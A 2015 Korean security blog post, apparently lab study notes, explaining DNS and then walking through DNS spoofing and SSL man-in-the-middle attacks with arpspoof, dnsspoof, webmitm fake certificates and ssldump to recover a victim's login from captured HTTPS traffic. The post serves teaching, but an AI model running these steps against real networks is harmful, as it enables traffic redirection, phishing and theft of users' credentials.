kkamagi's story

IT, 정보보안, 포렌식, 일상 공유

Cyber Security

DNS spoofing, SSL Webmitm

까마기 2015. 1. 21. 22:28
728x90
반응형

* DNS 이해
- Domain Name System
- 도메인을 IP로 변환 시켜주는 시스템
1. DNS Query 확인
- 로컬 Cache 삭제 : cmd - ipfonfig /flushdns
- wireshark
- 네트워크 환경 : dns 주 - 164.124.101.2 (데이콤)
                        보고 설정 - 168.126.63.1 (KT)
-IE : web 사이트 접속
명령프롬프트에서 nslookup www.daum.net
==> wireshark dns query 확인



1) Domain Name Space 구조
- Tree 구조
- Root가 최상위에 존재

*구글검색->dns query

2) Domain 의 종류
 - gTLD(generic Top Level Domain) : com, net, org, info 
 - ccTLD(Country Code Top - Level Domain) : kr, jp

3) Domain 생성
 - Domain 신청하는 것
 - RFC (Request For Command) : 인터넷에 기술을 구현하는데 필요한 절차 등을 제공하는공문서 간행물(표준 문서 규격)
 - RFC 1035 
 - UDP message 512 byte

4) DNS
 - BIND(Berkeley Internet Name Domain) :  DNS를 구현하는 소프트웨어 중 하나이다. 가장 널리 사용되고 있으며, 대부분의 시스템에 포팅되어 있음.

5) Resolver
 - DNS를 이용하는 클라이언트를 말함, 네임서버로 query를 보내고, 네임서버로 부터 응답을 받아서
   해석하고, 정보를 요구한 클라이언트에게 정보 전달하는 역할을 함.
- 역할에 따라 다름 내가 보내면 내가 resolver?

6) Name Resolution
 - 클라이언트인 Resolver가 호스트 정보를 query하게 되면 자신이 가지지 않은 정보에 대해서도 Domain name Space를 뒤져서 알려 주게 되는데 이러한 과정을 Name Resolution 이라고 함.

7) Caching
 - Resolver가 한번 요청한 정보에 대해서는 DNS는 버리지 않고 호스트 정보가 가진 TTL 만큼 메모리에 가지고 있게 됨. 이러한 과정을 caching이라고 함. =>매번 Root 서버로 가지 않아도 되므로 속도 향상과 Root 네임 서버의 부하 감소를 위하여 구현된 스펙

8) Master server, Slave server
=> 만들어진 이유, hosts 파일로 서로 컴퓨터 정보 전송.
    driver/etc/hosts 파일이 아직도 존재하면서, 이곳에 ip와 domain을 등록하면 인터넷 접속시 가장 먼저 읽게 됨.


BT5                                                                                                                희생자(XP)
#apache2 start 혹은 상단의 메뉴에서 실행                                         hosts 파일(system32\drivers\etc)
                                                                                                      공격자_IP  www.naver.com ->저장
 

9) query 조회 시 응답의 종류
- Non-authoritative Answer : 클라이언트가 Resolving 요청에 DNS의 cache가 가진 data로 응답

- authoritative Answer : query를 도메인 네임서버에서 직접 데이터를 얻어서 응답을 해줄 경우.


 실습 - 희생자 도스창
****nslookup
help
set q=mx
daum.net 

http://whois.nic.or.kr - DNS 조회

- RTT (RoundTrip Time) : BIND가 내부적으로 타 네임서버에 대한 RTT 값을 기록하고 있다가, 요청 도메인에 대해 다수의 authority ns 중 RTT 값이 가장 낮은 네임서버로 쿼리를 함.
=> RTT가 없을 경우 해당 네임 서버 전체로 동시에 쿼리를 보내서 빠른 은답을 얻고 RTT도 측정함.
측정된 도메인에 대한 요청은 RTT가 가장 낮은 서버로 보내게 됨.

10) 질의 (Query) 종류
 - DNS DDoS, Cache poisoning과 관련됨

 - Interactive(Nonrecursive) : DNS가 알 수없는 질의에 대해서는 응답가능한 네임서버 목록을 알려주는 것, root, top, second level 등의 통신
 - Recursive : 클라이언트의 쿼리 요청에 대해 Name Space를 검색한 후 결과 전달.
  - 네임서버에 요청 DDoS에 관련된 것

11) named.conf
- *nix 계열의 DNS 설정 파일
- resolv.conf : 도메인 설정.

12) transfer
 - 영역전송
 - zone transfer : 자신의 도메인의 레코드 값들 전송.

13) FQDN
 - www : host   => 등록된 네임서버에서 설정하는 이름
ns를 많이 사용

   daum.net : 도메인 => 등록
   ns.daum.net : 호스트명 + 도메인명 => FQDN
Fully Qualified Domain Name

nslookup
>서버 이름 변경
>server FQDN
>help
=> 자신들의 레코드 모두 볼 수 있는 명령어
>ls -d 도메인 : 모든 레코드 출력-> 출력이 되면 그 해당 DNS 서버가 취약하다는 의미
Query Refused!
==================================================================================
* DNS spoofing
- DNS Cache Poisoning이라고도 불림

발생원인 : Query를 보낸 Resolver(Cilient)는 응답 받은 데이터를 
 cache에 보관하게 됨
 빠른 응답과 서버 부하 감소를 위한 알고리즘이다.
영향 : 잘못된 사이트나, 피싱 사이트 등의 DNS를 사용자에게 보내서 접속하게 할 수 있음

공격자                                                                            희생자
BT5                                                                                 XP-VM
  -먼저 apache2 start 

1) ip forwarding을 시켜줘야한다 .
 -커널 기반 : echo 1 > /proc/sys/net/ipv4/ip_foward
 -유틸 기반 : fragrouter -B1


2) arp spoofing 을 적용
arpspoof -i eth3 -t 희생자_ip  게이트웨이_ip



3) dns spoofing
  - spoofing 파일 작성은 nano를 이용하여 작성
  - #nano /tmp/spoof.txt
    공격자_IP *.google.com
    공격자_IP *.gmail.com
    공격자_IP *.naver.com
    공격자_IP *.daum.net


- spoof.txt 파일을 이용하여 dns spoofing
#dnsspoof -i eth3 -f /tmp/spoof.txt


 
4)인터넷 접속 - 네이버, 다음
apache2 start 하지 않았을 때의 인터넷 접속 시 화면.




dnscache 확인
ipconfig /displaydns
- apache2 start 했을 때 나타나는 화면



패킷 분석 -> 

 
* SSL MITM(Man in the middle) attack
- SSL(Secure Socket Layer)
- https

- 필요한 기술
1) ip forwarding : 커널, 유틸(fragrouter)
2) arp spoofing : 유틸(arpspoof)
3) DNS 통신 이해
4) dns spoofing : 유틸(dnsspoof)
5) SSL 통신이해
6) webmitm - 가짜 인증서 제조(유틸)
7) ssldump - ssl 패킷 덤프하여 조사(유틸)
 
 
* SSL(Secure Socket Layer) 통신 이해
 
=> 지금은 실제로 TLS (Transport Layer Security) 이름으로 표준화.
=> http는 plain text(평문)통신으로 중간에서 sniffing 하게 되면 그 내용이 공격자에게 모두 노출되는 취약점.
=> SSLv3/TLSv1.0
=> http:80 http:443
=> SSL은 기본적으로 암호화 통신으로(https) 중간에서 sniffing을 하더라도 상대방이 그 내용을 볼 수 없음.
     SSL은 sniffing, 피싱, 변조 방지를 위하여 사용.
     SSL 인증, 암호화, 무결성을 지원.


1) 통신 메커니즘 (전송과정)
-클라이언트                                                                                      웹서버
=>웹서버에게 hello 메세지 전송
                                                                                  <=서버도 hello 메세지 전송
                                                                                  <=서버 인증서 및 클라이언트 인증서 요청
=> 서버의 공개키로 데이터를 암호화하여 전송.
chiper suit 암호화 기법, 클라이언트 인증서 전송
                                                                                   <=서버가 해당하는 chiper suit를 검증 후 종결 메세지 전송
=> 종결 메세지 전송

 ======================== 공개키를 이용하여 암호화된 메세지 전송=============================
==> HTTP 1.0 : method
        HTTP 1.1 : method
 
=> SSL의 응답방식은 Chellange Response 방식 : 클라이언트가 서버에게 연결을 시도할 때 보안 통신된 신호를 보내고 서버도 클라이언트에게 보안 통신을 위한 신호를 전송.

=> 암호화 형식 : RSA, DES, 3DES 를 사용해서 암호화

2) SSL도 MITM에 취약함
 -  중간자 공격에 취약함

* 변종 공격기법 =>ssl strip attack (https -> http) https의 s를 벗겨내는 것
   side jacking attack (옆에서 패킷을 훔쳐서 재생)

*SSL MITM 원리
1. 클라이언트가 SSL을 통해서 웹 사이트 요청
   공격자 dns spoofing과 가짜 인증서를 만들어서 가짜 인증서에 로그인하게 하여 ID/PWD를 알아내는 방법

2. 클라이언트가 SSL을 통해서 웹 사이트 요청 -> 공격자 arp, dnsspoof 이용하여 공격자가 웹사이트에 ssl 요청하고, 공격자가 ssl을 받아서 클라이언트에게 가짜로 응답 

*SSL 통신 인증서란?
- SSL이 네스케이프 사에서 웹서버와 웹 브라우저 사이의 보안을 위해 만듬.
- SSL은 CA(Certificate Authority) 라 불리는 서드 파티로 부터 서버와 클라이언트 인증을 하게 됨.

웹브라우저 : SSL 암호화된 페이지 요청(https)하게 되면은
-> 웹 서버 : public key 를 인증서와 함게 전송하게 된다.
-> 웹브라우저는 인증서가 자신이 신용하고 있다고 판단한 CA로부터 서명된 것인지 확인
rootCA(베리사인), 날짜, 유효한지, 인증서가 접속할려는 사이트와 관련.
로그인하게되면 웹브라우저는 public key를 사요해서 랜덤 대칭 암호화키와 URL, 데이터등을 암호화하여 서버전송. 가짜인증서인 rooCA에 싸인?
 웹 서버는 private key를 이용해서 복호화한다.

공격자                                                                                                                      희생자
1) ip forwarding : 커널, 유틸

2) arp spoofing : 유틸(arpspoof)

 
3) dns spoofing : 유틸(dnsspoof)


4) webmitm - 가짜 인증서 제조(유틸)
-apache 실행중이면 webmitm이 중지됨.
- /etc/init.d/apache2 stop




#rm -rf webmitm.crt (삭제) 후 다시 만들것(apache2 start하고 webmitm 공격했을시)
 
 
5) 희생자에서 Dos 창 열고 Cache 지우고 할 것. => ipconfig /flushdns

그다음 BT에서 wireshark 켜놓고 대기한후 다시 희생자(XP)로 와서 인터넷 실행
www.google.com 이나 naver.com (spoof.txt파일에 있는 도메인주소)





 
 
 
 
6) wireshark - 패킷 수집      
                   - 패킷 저장

 
 
6)ssldump -r 저장된 패킷이름  -k webmitm.crt -d > output.txt
 


7) ssldump를 이용하여 희생자(XP)에서 인터넷 접속시 사용한 아이디를 검색 해본다. 검색이 안되면 패킷 수집을 잘 못한 것이다.




반응형

'Cyber Security' 카테고리의 다른 글

Session hijacking  (0) 2015.01.22
[정보보안] DDoS(Distribute Denial of Service attack)  (0) 2015.01.22
[정보보안] ARP spoofing 실습  (0) 2015.01.21
DoS 공격 / iptables synflooding  (0) 2014.11.09
Arp Spoofing  (0) 2014.11.02